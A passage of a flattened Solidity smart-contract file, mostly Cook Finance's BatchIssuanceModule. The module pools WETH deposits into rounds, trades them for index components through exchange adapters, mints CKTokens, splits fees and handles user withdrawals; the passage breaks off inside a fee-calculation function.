adapter = controller.getIntegrationRegistry().getIntegrationAdapterWithHash( address(this), _integrationHash ); require(adapter != address(0), "Must be valid adapter"); return adapter; } /** * Gets the total fee for this module of the passed in index (fee % * quantity) */ function getModuleFee(uint256 _feeIndex, uint256 _quantity) internal view returns(uint256) { uint256 feePercentage = controller.getModuleFee(address(this), _feeIndex); return _quantity.preciseMul(feePercentage); } /** * Pays the _feeQuantity from the _ckToken denominated in _token to the protocol fee recipient */ function payProtocolFeeFromCKToken(ICKToken _ckToken, address _token, uint256 _feeQuantity) internal { if (_feeQuantity > 0) { _ckToken.strictInvokeTransfer(_token, controller.feeRecipient(), _feeQuantity); } } /** * Returns true if the module is in process of initialization on the CKToken */ function isCKPendingInitialization(ICKToken _ckToken) internal view returns(bool) { return _ckToken.isPendingModule(address(this)); } /** * Returns true if the address is the CKToken's manager */ function isCKManager(ICKToken _ckToken, address _toCheck) internal view returns(bool) { return _ckToken.manager() == _toCheck; } /** * Returns true if CKToken must be enabled on the controller * and module is registered on the CKToken */ function isCKValidAndInitialized(ICKToken _ckToken) internal view returns(bool) { return controller.isCK(address(_ckToken)) && _ckToken.isInitializedModule(address(this)); } /** * Hashes the string and returns a bytes32 value */ function getNameHash(string memory _name) internal pure returns(bytes32) { return keccak256(bytes(_name)); } /* ============== Modifier Helpers =============== * Internal functions used to reduce bytecode size */ /** * Caller must CKToken manager and CKToken must be valid and initialized */ function _validateOnlyManagerAndValidCK(ICKToken _ckToken) internal view { require(isCKManager(_ckToken, msg.sender), "Must be the CKToken manager"); require(isCKValidAndInitialized(_ckToken), "Must be a valid and initialized CKToken"); } /** * Caller must CKToken manager */ function _validateOnlyCKManager(ICKToken _ckToken, address _caller) internal view { require(isCKManager(_ckToken, _caller), "Must be the CKToken manager"); } /** * CKToken must be valid and initialized */ function _validateOnlyValidAndInitializedCK(ICKToken _ckToken) internal view { require(isCKValidAndInitialized(_ckToken), "Must be a valid and initialized CKToken"); } /** * Caller must be initialized module and module must be enabled on the controller */ function _validateOnlyModule(ICKToken _ckToken) internal view { require( _ckToken.moduleStates(msg.sender) == ICKToken.ModuleState.INITIALIZED, "Only the module can call" ); require( controller.isModule(msg.sender), "Module must be enabled on controller" ); } /** * CKToken must be in a pending state and module must be in pending state */ function _validateOnlyValidAndPendingCK(ICKToken _ckToken) internal view { require(controller.isCK(address(_ckToken)), "Must be controller-enabled CKToken"); require(isCKPendingInitialization(_ckToken), "Must be pending initialization"); } } // File contracts/protocol/modules/BatchIssuanceModule.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title BatchIssuanceModule * @author Cook Finance * * Module that enables batch issuance and redemption functionality on a CKToken, for the purpose of gas saving. * This is a module that is required to bring the totalSupply of a CK above 0. */ contract BatchIssuanceModule is ModuleBase, ReentrancyGuard { using PreciseUnitMath for uint256; using SafeMath for uint256; using Math for uint256; using SafeCast for int256; using SafeERC20 for IWETH; using SafeERC20 for IERC20; using Address for address; /* ============ Events ============ */ event CKTokenBatchIssued( ICKToken indexed _ckToken, uint256 _inputUsed, uint256 _outputCK, uint256 _numberOfRounds ); event ManagerFeeEdited(ICKToken indexed _ckToken, uint256 _newManagerFee, uint256 _index); event FeeRecipientEdited(ICKToken indexed _ckToken, address _feeRecipient); event AssetExchangeUpdated(ICKToken indexed _ckToken, address _component, string _newExchangeName); event DepositAllowanceUpdated(ICKToken indexed _ckToken, bool _allowDeposit); event RoundInputCapsUpdated(ICKToken indexed _ckToken, uint256 roundInputCap); event Deposit(address indexed _to, uint256 _amount); event WithdrawCKToken( ICKToken indexed _ckToken, address indexed _from, address indexed _to, uint256 _inputAmount, uint256 _outputAmount ); /* ============ Structs ============ */ struct BatchIssuanceSetting { address feeRecipient; // Manager fee recipient uint256[2] managerFees; // Manager fees. 0 index is issue and 1 index is redeem fee (0.01% = 1e14, 1% = 1e16) uint256 maxManagerFee; // Maximum fee manager is allowed to set for issue and redeem uint256 minCKTokenSupply; // Minimum CKToken supply required for issuance and redemption // to prevent dramatic inflationary changes to the CKToken's position multiplier bool allowDeposit; // to pause users from depositting into batchIssuance module } struct ActionInfo { uint256 preFeeReserveQuantity; // Reserve value before fees; During issuance, represents raw quantity uint256 totalFeePercentage; // Total protocol fees (direct + manager revenue share) uint256 protocolFees; // Total protocol fees (direct + manager revenue share) uint256 managerFee; // Total manager fee paid in reserve asset uint256 netFlowQuantity; // When issuing, quantity of reserve asset sent to CKToken uint256 ckTokenQuantity; // When issuing, quantity of CKTokens minted to mintee uint256 previousCKTokenSupply; // CKToken supply prior to issue/redeem action uint256 newCKTokenSupply; // CKToken supply after issue/redeem action } struct TradeExecutionParams { string exchangeName; // Exchange adapter name bytes exchangeData; // Arbitrary data that can be used to encode exchange specific // settings (fee tier) or features (multi-hop) } struct TradeInfo { IIndexExchangeAdapter exchangeAdapter; // Instance of Exchange Adapter address receiveToken; // Address of token being bought uint256 sendQuantityMax; // Max amount of tokens to sent to the exchange uint256 receiveQuantity; // Amount of tokens receiving bytes exchangeData; // Arbitrary data for executing trade on given exchange } struct Round { uint256 totalDeposited; // Total WETH deposited in a round mapping(address => uint256) deposits; // Mapping address to uint256, shows which address deposited how much WETH uint256 totalBakedInput; // Total WETH used for issuance in a round uint256 totalOutput; // Total CK amount issued in a round } /* ============ Constants ============ */ // 0 index stores the manager fee in managerFees array, percentage charged on issue (denominated in reserve asset) uint256 constant internal MANAGER_ISSUE_FEE_INDEX = 0; // 0 index stores the manager revenue share protocol fee % on the controller, charged in the issuance function uint256 constant internal PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX = 0; // 2 index stores the direct protocol fee % on the controller, charged in the issuance function uint256 constant internal PROTOCOL_ISSUE_DIRECT_FEE_INDEX = 2; /* ============ State Variables ============ */ IWETH public immutable weth; // Wrapped ETH address IBasicIssuanceModule public basicIssuanceModule; // Basic Issuance Module // Mapping of CKToken to Batch issuance setting mapping(ICKToken => BatchIssuanceSetting) private batchIssuanceSettings; // Mapping of CKToken to (component to execution params) mapping(ICKToken => mapping(IERC20 => TradeExecutionParams)) private tradeExecutionInfo; // Mapping of CKToken to Input amount size per round mapping(ICKToken => uint256) private roundInputCaps; // Mapping of CKToken to Array of rounds mapping(ICKToken => Round[]) private rounds; // Mapping of CKToken to User round, a user can have multiple rounds mapping(ICKToken => mapping(address => uint256[])) private userRounds; /* ============ Constructor ============ */ /** * Set state controller state variable * * @param _controller Address of controller contract * @param _weth Address of WETH * @param _basicIssuanceModule Instance of the basic issuance module */ constructor( IController _controller, IWETH _weth, IBasicIssuanceModule _basicIssuanceModule ) public ModuleBase(_controller) { weth = _weth; // set basic issuance module basicIssuanceModule = _basicIssuanceModule; } /* ============ External Functions ============ */ /** * Initializes this module to the CKToken with issuance settings and round input cap(limit) * * @param _ckToken Instance of the CKToken to issue * @param _batchIssuanceSetting BatchIssuanceSetting struct define parameters * @param _roundInputCap Maximum input amount per round */ function initialize( ICKToken _ckToken, BatchIssuanceSetting memory _batchIssuanceSetting, uint256 _roundInputCap ) external onlyCKManager(_ckToken, msg.sender) onlyValidAndPendingCK(_ckToken) { require(_ckToken.isInitializedModule(address(basicIssuanceModule)), "BasicIssuanceModule must be initialized"); require(_batchIssuanceSetting.maxManagerFee < PreciseUnitMath.preciseUnit(), "Max manager fee must be less than 100%"); require(_batchIssuanceSetting.managerFees[0] <= _batchIssuanceSetting.maxManagerFee, "Manager issue fee must be less than max"); require(_batchIssuanceSetting.managerFees[1] <= _batchIssuanceSetting.maxManagerFee, "Manager redeem fee must be less than max"); require(_batchIssuanceSetting.feeRecipient != address(0), "Fee Recipient must be non-zero address."); require(_batchIssuanceSetting.minCKTokenSupply > 0, "Min CKToken supply must be greater than 0"); // create first empty round rounds[_ckToken].push(); // set round input limit roundInputCaps[_ckToken] = _roundInputCap; // set batch issuance setting batchIssuanceSettings[_ckToken] = _batchIssuanceSetting; // initialize module for the CKToken _ckToken.initializeModule(); } /** * CK MANAGER ONLY. Edit manager fee * * @param _ckToken Instance of the CKToken * @param _managerFeePercentage Manager fee percentage in 10e16 (e.g. 10e16 = 1%) * @param _managerFeeIndex Manager fee index. 0 index is issue fee, 1 index is redeem fee */ function editManagerFee( ICKToken _ckToken, uint256 _managerFeePercentage, uint256 _managerFeeIndex ) external onlyManagerAndValidCK(_ckToken) { require(_managerFeePercentage <= batchIssuanceSettings[_ckToken].maxManagerFee, "Manager fee must be less than maximum allowed"); batchIssuanceSettings[_ckToken].managerFees[_managerFeeIndex] = _managerFeePercentage; emit ManagerFeeEdited(_ckToken, _managerFeePercentage, _managerFeeIndex); } /** * CK MANAGER ONLY. Edit the manager fee recipient * * @param _ckToken Instance of the CKToken * @param _managerFeeRecipient Manager fee recipient */ function editFeeRecipient( ICKToken _ckToken, address _managerFeeRecipient ) external onlyManagerAndValidCK(_ckToken) { require(_managerFeeRecipient != address(0), "Fee recipient must not be 0 address"); batchIssuanceSettings[_ckToken].feeRecipient = _managerFeeRecipient; emit FeeRecipientEdited(_ckToken, _managerFeeRecipient); } function setDepositAllowance(ICKToken _ckToken, bool _allowDeposit) external onlyManagerAndValidCK(_ckToken) { batchIssuanceSettings[_ckToken].allowDeposit = _allowDeposit; emit DepositAllowanceUpdated(_ckToken, _allowDeposit); } function editRoundInputCaps(ICKToken _ckToken, uint256 _roundInputCap) external onlyManagerAndValidCK(_ckToken) { roundInputCaps[_ckToken] = _roundInputCap; emit RoundInputCapsUpdated(_ckToken, _roundInputCap); } /** * CK MANAGER ONLY: Set exchanges for underlying components of the CKToken. Can be called at anytime. * * @param _ckToken Instance of the CKToken * @param _components Array of components * @param _exchangeNames Array of exchange names mapping to correct component */ function setExchanges( ICKToken _ckToken, address[] memory _components, string[] memory _exchangeNames ) external onlyManagerAndValidCK(_ckToken) { _components.validatePairsWithArray(_exchangeNames); for (uint256 i = 0; i < _components.length; i++) { if (_components[i] != address(weth)) { require( controller.getIntegrationRegistry().isValidIntegration(address(this), _exchangeNames[i]), "Unrecognized exchange name" ); tradeExecutionInfo[_ckToken][IERC20(_components[i])].exchangeName = _exchangeNames[i]; emit AssetExchangeUpdated(_ckToken, _components[i], _exchangeNames[i]); } } } /** * Mints the appropriate % of Net Asset Value of the CKToken from the deposited WETH in the rounds. * Fee(protocol fee + manager shared fee + manager fee in the module) will be used as slipage to trade on DEXs. * The exact amount protocol fee will be deliver to the protocol. Only remaining WETH will be paid to the manager as a fee. * * @param _ckToken Instance of the CKToken * @param _rounds Array of round indexes */ function batchIssue( ICKToken _ckToken, uint256[] memory _rounds ) external nonReentrant onlyValidAndInitializedCK(_ckToken) { uint256 maxInputAmount; Round[] storage roundsPerCK = rounds[_ckToken]; // Get max input amount for(uint256 i = 0; i < _rounds.length; i ++) { // Prevent round from being baked twice if(i != 0) { require(_rounds[i] > _rounds[i - 1], "Rounds out of order"); } Round storage round = roundsPerCK[_rounds[i]]; maxInputAmount = maxInputAmount.add(round.totalDeposited.sub(round.totalBakedInput)); } require(maxInputAmount > 0, "Quantity must be > 0"); ActionInfo memory issueInfo = _createIssuanceInfo(_ckToken, address(weth), maxInputAmount); _validateIssuanceInfo(_ckToken, issueInfo); uint256 inputUsed = 0; uint256 outputAmount = issueInfo.ckTokenQuantity; // To issue ckTokenQuantity amount of CKs, swap the required underlying components amount ( address[] memory components, uint256[] memory componentQuantities ) = basicIssuanceModule.getRequiredComponentUnitsForIssue(_ckToken, outputAmount); for (uint256 i = 0; i < components.length; i++) { IERC20 component_ = IERC20(components[i]); uint256 quantity_ = componentQuantities[i]; if (address(component_) != address(weth)) { TradeInfo memory tradeInfo = _createTradeInfo( _ckToken, IERC20(component_), quantity_, issueInfo.totalFeePercentage ); uint256 usedAmountForTrade = _executeTrade(tradeInfo); inputUsed = inputUsed.add(usedAmountForTrade); } else { inputUsed = inputUsed.add(quantity_); } // approve every component for basic issuance module if (component_.allowance(address(this), address(basicIssuanceModule)) < quantity_) { component_.safeIncreaseAllowance(address(basicIssuanceModule), quantity_); } } // Mint the CKToken basicIssuanceModule.issue(_ckToken, outputAmount, address(this)); uint256 inputUsedRemaining = maxInputAmount; for(uint256 i = 0; i < _rounds.length; i ++) { Round storage round = roundsPerCK[_rounds[i]]; uint256 roundTotalBaked = round.totalBakedInput; uint256 roundTotalDeposited = round.totalDeposited; uint256 roundInputBaked = (roundTotalDeposited.sub(roundTotalBaked)).min(inputUsedRemaining); // Skip round if it is already baked if(roundInputBaked == 0) { continue; } uint256 roundOutputBaked = outputAmount.mul(roundInputBaked).div(maxInputAmount); round.totalBakedInput = roundTotalBaked.add(roundInputBaked); inputUsedRemaining = inputUsedRemaining.sub(roundInputBaked); round.totalOutput = round.totalOutput.add(roundOutputBaked); // Sanity check for round require(round.totalBakedInput <= round.totalDeposited, "Round input sanity check failed"); } // Sanity check uint256 inputUsedWithProtocolFee = inputUsed.add(issueInfo.protocolFees); require(inputUsedWithProtocolFee <= maxInputAmount, "Max input sanity check failed"); // turn remaining amount into manager fee issueInfo.managerFee = maxInputAmount.sub(inputUsedWithProtocolFee); _transferFees(_ckToken, issueInfo); emit CKTokenBatchIssued(_ckToken, maxInputAmount, outputAmount, _rounds.length); } /** * Wrap ETH and then deposit * * @param _ckToken Instance of the CKToken */ function depositEth(ICKToken _ckToken) external payable onlyValidAndInitializedCK(_ckToken) { weth.deposit{ value: msg.value }(); _depositTo(_ckToken, msg.value, msg.sender); } /** * Deposit WETH * * @param _ckToken Instance of the CKToken * @param _amount Amount of WETH */ function deposit(ICKToken _ckToken, uint256 _amount) external onlyValidAndInitializedCK(_ckToken) { weth.safeTransferFrom(msg.sender, address(this), _amount); _depositTo(_ckToken, _amount, msg.sender); } /** * Withdraw CKToken within the number of rounds limit * * @param _ckToken Instance of the CKToken * @param _roundsLimit Number of rounds limit */ function withdrawCKToken(ICKToken _ckToken, uint256 _roundsLimit) external onlyValidAndInitializedCK(_ckToken) { withdrawCKTokenTo(_ckToken, msg.sender, _roundsLimit); } /** * Withdraw CKToken within the number of rounds limit, to a specific address * * @param _ckToken Instance of the CKToken * @param _to Address to withdraw to * @param _roundsLimit Number of rounds limit */ function withdrawCKTokenTo( ICKToken _ckToken, address _to, uint256 _roundsLimit ) public nonReentrant onlyValidAndInitializedCK(_ckToken) { uint256 inputAmount; uint256 outputAmount; mapping(address => uint256[]) storage userRoundsPerCK = userRounds[_ckToken]; Round[] storage roundsPerCK = rounds[_ckToken]; uint256 userRoundsLength = userRoundsPerCK[msg.sender].length; uint256 numRounds = userRoundsLength.min(_roundsLimit); for(uint256 i = 0; i < numRounds; i ++) { // start at end of array for efficient popping of elements uint256 userRoundIndex = userRoundsLength.sub(i).sub(1); uint256 roundIndex = userRoundsPerCK[msg.sender][userRoundIndex]; Round storage round = roundsPerCK[roundIndex]; // amount of input of user baked uint256 bakedInput = round.deposits[msg.sender].mul(round.totalBakedInput).div(round.totalDeposited); // amount of output the user is entitled to uint256 userRoundOutput; if(bakedInput == 0) { userRoundOutput = 0; } else { userRoundOutput = round.totalOutput.mul(bakedInput).div(round.totalBakedInput); } // unbaked input uint256 unspentInput = round.deposits[msg.sender].sub(bakedInput); inputAmount = inputAmount.add(unspentInput); //amount of output the user is entitled to outputAmount = outputAmount.add(userRoundOutput); round.totalDeposited = round.totalDeposited.sub(round.deposits[msg.sender]); round.deposits[msg.sender] = 0; round.totalBakedInput = round.totalBakedInput.sub(bakedInput); round.totalOutput = round.totalOutput.sub(userRoundOutput); // pop of user round userRoundsPerCK[msg.sender].pop(); } if(inputAmount != 0) { // handle rounding issues due to integer division inaccuracies inputAmount = inputAmount.min(weth.balanceOf(address(this))); weth.safeTransfer(_to, inputAmount); } if(outputAmount != 0) { // handle rounding issues due to integer division inaccuracies outputAmount = outputAmount.min(_ckToken.balanceOf(address(this))); _ckToken.transfer(_to, outputAmount); } emit WithdrawCKToken(_ckToken, msg.sender, _to, inputAmount, outputAmount); } /** * Removes this module from the CKToken, via call by the CKToken. */ function removeModule() external override { ICKToken ckToken_ = ICKToken(msg.sender); // delete tradeExecutionInfo address[] memory components = ckToken_.getComponents(); for (uint256 i = 0; i < components.length; i++) { delete tradeExecutionInfo[ckToken_][IERC20(components[i])]; } delete batchIssuanceSettings[ckToken_]; delete roundInputCaps[ckToken_]; delete rounds[ckToken_]; // delete userRounds[ckToken_]; } /* ============ External Getter Functions ============ */ /** * Get current round index * * @param _ckToken Instance of the CKToken */ function getRoundInputCap(ICKToken _ckToken) public view returns(uint256) { return roundInputCaps[_ckToken]; } /** * Get current round index * * @param _ckToken Instance of the CKToken */ function getCurrentRound(ICKToken _ckToken) public view returns(uint256) { return rounds[_ckToken].length.sub(1); } /** * Get ETH amount deposited in current round * * @param _ckToken Instance of the CKToken */ function getCurrentRoundDeposited(ICKToken _ckToken) public view returns(uint256) { uint256 currentRound = rounds[_ckToken].length.sub(1); return rounds[_ckToken][currentRound].totalDeposited; } /** * Get un-baked round indexes * * @param _ckToken Instance of the CKToken */ function getRoundsToBake(ICKToken _ckToken, uint256 _start) external view returns(uint256[] memory) { uint256 count = 0; Round[] storage roundsPerCK = rounds[_ckToken]; for(uint256 i = _start; i < roundsPerCK.length; i ++) { Round storage round = roundsPerCK[i]; if (round.totalDeposited.sub(round.totalBakedInput) > 0) { count ++; } } uint256[] memory roundsToBake = new uint256[](count); uint256 focus = 0; for(uint256 i = _start; i < roundsPerCK.length; i ++) { Round storage round = roundsPerCK[i]; if (round.totalDeposited.sub(round.totalBakedInput) > 0) { roundsToBake[focus] = i; focus ++; } } return roundsToBake; } /** * Get round input of an address(user) * * @param _ckToken Instance of the CKToken * @param _round index of the round * @param _of address of the user */ function roundInputBalanceOf(ICKToken _ckToken, uint256 _round, address _of) public view returns(uint256) { Round storage round = rounds[_ckToken][_round]; // if there are zero deposits the input balance of `_of` would be zero too if(round.totalDeposited == 0) { return 0; } uint256 bakedInput = round.deposits[_of].mul(round.totalBakedInput).div(round.totalDeposited); return round.deposits[_of].sub(bakedInput); } /** * Get total input of an address(user) * * @param _ckToken Instance of the CKToken * @param _of address of the user */ function inputBalanceOf(ICKToken _ckToken, address _of) public view returns(uint256) { mapping(address => uint256[]) storage userRoundsPerCK = userRounds[_ckToken]; uint256 roundsCount = userRoundsPerCK[_of].length; uint256 balance; for(uint256 i = 0; i < roundsCount; i ++) { balance = balance.add(roundInputBalanceOf(_ckToken, userRoundsPerCK[_of][i], _of)); } return balance; } /** * Get round output of an address(user) * * @param _ckToken Instance of the CKToken * @param _round index of the round * @param _of address of the user */ function roundOutputBalanceOf(ICKToken _ckToken, uint256 _round, address _of) public view returns(uint256) { Round storage round = rounds[_ckToken][_round]; if(round.totalBakedInput == 0) { return 0; } // amount of input of user baked uint256 bakedInput = round.deposits[_of].mul(round.totalBakedInput).div(round.totalDeposited); // amount of output the user is entitled to uint256 userRoundOutput = round.totalOutput.mul(bakedInput).div(round.totalBakedInput); return userRoundOutput; } /** * Get total output of an address(user) * * @param _ckToken Instance of the CKToken * @param _of address of the user */ function outputBalanceOf(ICKToken _ckToken, address _of) external view returns(uint256) { mapping(address => uint256[]) storage userRoundsPerCK = userRounds[_ckToken]; uint256 roundsCount = userRoundsPerCK[_of].length; uint256 balance; for(uint256 i = 0; i < roundsCount; i ++) { balance = balance.add(roundOutputBalanceOf(_ckToken, userRoundsPerCK[_of][i], _of)); } return balance; } /** * Get user's round count * * @param _ckToken Instance of the CKToken * @param _user address of the user */ function getUserRoundsCount(ICKToken _ckToken, address _user) external view returns(uint256) { return userRounds[_ckToken][_user].length; } /** * Get user round number * * @param _ckToken Instance of the CKToken * @param _user address of the user * @param _index index in the round array */ function getUserRound(ICKToken _ckToken, address _user, uint256 _index) external view returns(uint256) { return userRounds[_ckToken][_user][_index]; } /** * Get total round count * * @param _ckToken Instance of the CKToken */ function getRoundsCount(ICKToken _ckToken) external view returns(uint256) { return rounds[_ckToken].length; } /** * Get manager fee by index * * @param _ckToken Instance of the CKToken * @param _managerFeeIndex Manager fee index */ function getManagerFee(ICKToken _ckToken, uint256 _managerFeeIndex) external view returns (uint256) { return batchIssuanceSettings[_ckToken].managerFees[_managerFeeIndex]; } /** * Get batch issuance setting for a CK * * @param _ckToken Instance of the CKToken */ function getBatchIssuanceSetting(ICKToken _ckToken) external view returns (BatchIssuanceSetting memory) { return batchIssuanceSettings[_ckToken]; } /** * Get tradeExecutionParam for a component of a CK * * @param _ckToken Instance of the CKToken * @param _component ERC20 instance of the component */ function getTradeExecutionParam( ICKToken _ckToken, IERC20 _component ) external view returns (TradeExecutionParams memory) { return tradeExecutionInfo[_ckToken][_component]; } /** * Get bake round for a CK * * @param _ckToken Instance of the CKToken * @param _index index number of a round */ function getRound(ICKToken _ckToken, uint256 _index) external view returns (uint256, uint256, uint256) { Round[] storage roundsPerCK = rounds[_ckToken]; Round memory round = roundsPerCK[_index]; return (round.totalDeposited, round.totalBakedInput, round.totalOutput); } /* ============ Internal Functions ============ */ /** * Deposit by user by round * * @param _ckToken Instance of the CKToken * @param _amount Amount of WETH * @param _to Address of depositor */ function _depositTo(ICKToken _ckToken, uint256 _amount, address _to) internal { // if amount is zero return early if(_amount == 0) { return; } require(batchIssuanceSettings[_ckToken].allowDeposit, "not allowed to deposit"); Round[] storage roundsPerCK = rounds[_ckToken]; uint256 currentRound = getCurrentRound(_ckToken); uint256 deposited = 0; while(deposited < _amount) { //if the current round does not exist create it if(currentRound >= roundsPerCK.length) { roundsPerCK.push(); } //if the round is already partially baked create a new round if(roundsPerCK[currentRound].totalBakedInput != 0) { currentRound = currentRound.add(1); roundsPerCK.push(); } Round storage round = roundsPerCK[currentRound]; uint256 roundDeposit = (_amount.sub(deposited)).min(roundInputCaps[_ckToken].sub(round.totalDeposited)); round.totalDeposited = round.totalDeposited.add(roundDeposit); round.deposits[_to] = round.deposits[_to].add(roundDeposit); deposited = deposited.add(roundDeposit); // only push roundsPerCK we are actually in if(roundDeposit != 0) { _pushUserRound(_ckToken, _to, currentRound); } // if full amount assigned to roundsPerCK break the loop if(deposited == _amount) { break; } currentRound = currentRound.add(1); } emit Deposit(_to, _amount); } /** * Create and return TradeInfo struct. Send Token is WETH * * @param _ckToken Instance of the CKToken * @param _component IERC20 component to trade * @param _receiveQuantity Amount of the component asset * @param _slippage Limitation percentage * * @return tradeInfo Struct containing data for trade */ function _createTradeInfo( ICKToken _ckToken, IERC20 _component, uint256 _receiveQuantity, uint256 _slippage ) internal view virtual returns (TradeInfo memory tradeInfo) { // set the exchange info tradeInfo.exchangeAdapter = IIndexExchangeAdapter( getAndValidateAdapter(tradeExecutionInfo[_ckToken][_component].exchangeName) ); tradeInfo.exchangeData = tradeExecutionInfo[_ckToken][_component].exchangeData; // set receive token info tradeInfo.receiveToken = address(_component); tradeInfo.receiveQuantity = _receiveQuantity; // exactSendQuantity is calculated based on the price from the oracle, not the price from the proper exchange uint256 receiveTokenPrice = _calculateComponentPrice(address(_component), address(weth)); uint256 wethDecimals = ERC20(address(weth)).decimals(); uint256 componentDecimals = ERC20(address(_component)).decimals(); uint256 exactSendQuantity = tradeInfo.receiveQuantity .preciseMul(receiveTokenPrice) .mul(10**wethDecimals) .div(10**componentDecimals); // set max send limit uint256 unit_ = 1e18; tradeInfo.sendQuantityMax = exactSendQuantity.mul(unit_).div(unit_.sub(_slippage)); } /** * Function handles all interactions with exchange. * * @param _tradeInfo Struct containing trade information used in internal functions */ function _executeTrade(TradeInfo memory _tradeInfo) internal returns (uint256) { ERC20(address(weth)).approve(_tradeInfo.exchangeAdapter.getSpender(), _tradeInfo.sendQuantityMax); ( address targetExchange, uint256 callValue, bytes memory methodData ) = _tradeInfo.exchangeAdapter.getTradeCalldata( address(weth), _tradeInfo.receiveToken, address(this), false, _tradeInfo.sendQuantityMax, _tradeInfo.receiveQuantity, _tradeInfo.exchangeData ); uint256 preTradeReserveAmount = weth.balanceOf(address(this)); targetExchange.functionCallWithValue(methodData, callValue); uint256 postTradeReserveAmount = weth.balanceOf(address(this)); uint256 usedAmount = preTradeReserveAmount.sub(postTradeReserveAmount); return usedAmount; } /** * Validate issuance info used internally. * * @param _ckToken Instance of the CKToken * @param _issueInfo Struct containing inssuance information used in internal functions */ function _validateIssuanceInfo(ICKToken _ckToken, ActionInfo memory _issueInfo) internal view { // Check that total supply is greater than min supply needed for issuance // Note: A min supply amount is needed to avoid division by 0 when CKToken supply is 0 require( _issueInfo.previousCKTokenSupply >= batchIssuanceSettings[_ckToken].minCKTokenSupply, "Supply must be greater than minimum issuance" ); } /** * Create and return ActionInfo struct. * * @param _ckToken Instance of the CKToken * @param _reserveAsset Address of reserve asset * @param _reserveAssetQuantity Amount of the reserve asset * * @return issueInfo Struct containing data for issuance */ function _createIssuanceInfo( ICKToken _ckToken, address _reserveAsset, uint256 _reserveAssetQuantity ) internal view returns (ActionInfo memory) { ActionInfo memory issueInfo; issueInfo.previousCKTokenSupply = _ckToken.totalSupply(); issueInfo.preFeeReserveQuantity = _reserveAssetQuantity; (issueInfo.totalFeePercentage, issueInfo.protocolFees, issueInfo.managerFee) = _getFees( _ckToken, issueInfo.preFeeReserveQuantity, PROTOCOL_ISSUE_MANAGER_REVENUE_SHARE_FEE_INDEX, PROTOCOL_ISSUE_DIRECT_FEE_INDEX, MANAGER_ISSUE_FEE_INDEX ); issueInfo.netFlowQuantity = issueInfo.preFeeReserveQuantity .sub(issueInfo.protocolFees) .sub(issueInfo.managerFee); issueInfo.ckTokenQuantity = _getCKTokenMintQuantity( _ckToken, _reserveAsset, issueInfo.netFlowQuantity ); issueInfo.newCKTokenSupply = issueInfo.ckTokenQuantity.add(issueInfo.previousCKTokenSupply); return issueInfo; } /** * Calculate CKToken mint amount. * * @param _ckToken Instance of the CKToken * @param _reserveAsset Address of reserve asset * @param _netReserveFlows Value of reserve asset net of fees * * @return uint256 Amount of CKToken to mint */ function _getCKTokenMintQuantity( ICKToken _ckToken, address _reserveAsset, uint256 _netReserveFlows ) internal view returns (uint256) { // Get valuation of the CKToken with the quote asset as the reserve asset. Returns value in precise units (1e18) // Reverts if price is not found uint256 ckTokenValuation = controller.getCKValuer().calculateCKTokenValuation(_ckToken, _reserveAsset); // Get reserve asset decimals uint256 reserveAssetDecimals = ERC20(_reserveAsset).decimals(); uint256 normalizedTotalReserveQuantityNetFees = _netReserveFlows.preciseDiv(10 ** reserveAssetDecimals); // Calculate CKTokens to mint to issuer return normalizedTotalReserveQuantityNetFees.preciseDiv(ckTokenValuation); } /** * Add new roundId to user's rounds array * * @param _ckToken Instance of the CKToken * @param _to Address of depositor * @param _roundId Round id to add in userRounds */ function _pushUserRound(ICKToken _ckToken, address _to, uint256 _roundId) internal { // only push when its not already added mapping(address => uint256[]) storage userRoundsPerCK = userRounds[_ckToken]; if(userRoundsPerCK[_to].length == 0 || userRoundsPerCK[_to][userRoundsPerCK[_to].length - 1] != _roundId) { userRoundsPerCK[_to].push(_roundId); } } /** * Returns the fees attributed to the manager and the protocol. The fees are calculated as follows: * * ManagerFee = (manager fee % - % to protocol) * reserveAssetQuantity, will be recalculated after trades * Protocol Fee = (% manager fee share + direct fee %) * reserveAssetQuantity * * @param _ckToken Instance of the CKToken * @param _reserveAssetQuantity Quantity of reserve asset to calculate fees from * @param _protocolManagerFeeIndex Index to pull rev share batch Issuance fee from the Controller * @param _protocolDirectFeeIndex Index to pull direct batch issuance fee from the Controller * @param _managerFeeIndex Index from BatchIssuanceSettings (0 = issue fee, 1 = redeem fee) * * @return uint256 Total fee percentage * @return uint256 Fees paid to the protocol in reserve asset * @return uint256 Fees paid to the manager in reserve asset */ function _getFees( ICKToken _ckToken, uint256 _reserveAssetQuantity, uint256 _protocolManagerFeeIndex, uint256 _protocolDirectFeeIndex, uint256 _managerFeeIndex ) internal view returns (uint256, uint256, uint256) { (uint256 protocolFeePercentage, uint256 managerFeePercentage) = _getProtocolAndManagerFeePercentages( _ckToken, _protocolManagerFeeIndex, _protocolDirectFeeIndex, _managerFeeIndex ); // total fee percentage uint256 totalFeePercentage = protocolFeePercentage.add(managerFeePercentage); // Calculate total notional fees uint256 protocolFees = protocolFeePercentage.preciseMul(_reserveAssetQuantity); uint256 managerFee = managerFeePercentage.preciseMul(_reserveAssetQuantity); return (totalFeePercentage, protocolFees, managerFee); } /** * Returns the fee percentages of the manager and the protocol. * * @param _ckToken Instance of the CKToken * @param _protocolManagerFeeIndex Index to pull rev share Batch Issuance fee from the Controller * @param _protocolDirectFeeIndex Index to pull direct Batc issuance fee from the Controller * @param _managerFeeIndex Index from BatchIssuanceSettings (0 = issue fee, 1 = redeem fee) * * @return uint256 Fee percentage to the protocol in reserve asset * @return uint256 Fee percentage to the manager in reserve asset */ function _getProtocolAndManagerFeePercentages( ICKToken _ckToken, uint256 _protocolManagerFeeIndex, uint256 _protocolDirectFeeIndex, uint256 _managerFeeIndex ) internal view returns(uint256, uint256) { // Get protocol fee percentages uint256 protocolDirectFeePercent = controller.getModuleFee(address(this), _protocolDirectFeeIndex); uint256 protocolManagerShareFeePercent = controller.getModuleFee(address(this), _protocolManagerFeeIndex); uint256 managerFeePercent = batchIssuanceSettings[_ckToken].managerFees[_managerFeeIndex]; // Calculate revenue share split percentage uint256 protocolRevenueSharePercentage = protocolManagerShareFeePercent.preciseMul(managerFeePercent); uint256 managerRevenueSharePercentage = managerFeePercent.sub(protocolRevenueSharePercentage); uint256 totalProtocolFeePercentage = 